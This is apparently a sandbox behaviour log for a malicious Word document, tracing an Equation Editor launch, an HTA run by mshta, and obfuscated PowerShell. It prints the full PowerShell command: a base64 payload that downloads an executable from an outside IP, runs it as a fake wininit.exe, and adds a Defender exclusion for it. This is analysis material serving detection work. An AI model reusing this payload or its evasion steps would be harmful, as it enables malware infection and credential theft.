Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................'......................i.o.n.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................'......................i.o.n.a.........................(...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............!Q.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............-Q.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............?Q.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............KQ.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......d.......l...............]Q.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............iQ.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........{Q.........................s..............#..... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......Q.........................s..............#.....$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................Q.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............#.....2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................R.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l................R.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............)R.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....d.......l...............<R.........................s..............#.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....d.......l...............HR.........................s..............#.............................	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: stthigns.doc

ReversingLabs: Detection: 50%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4441.tmp" "c:\Users\user\AppData\Local\Temp\4vzopkvk\CSC2CE1E80E8DFB46C4BC398124C902BE0.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta"	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4441.tmp" "c:\Users\user\AppData\Local\Temp\4vzopkvk\CSC2CE1E80E8DFB46C4BC398124C902BE0.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: vcruntime140.dll
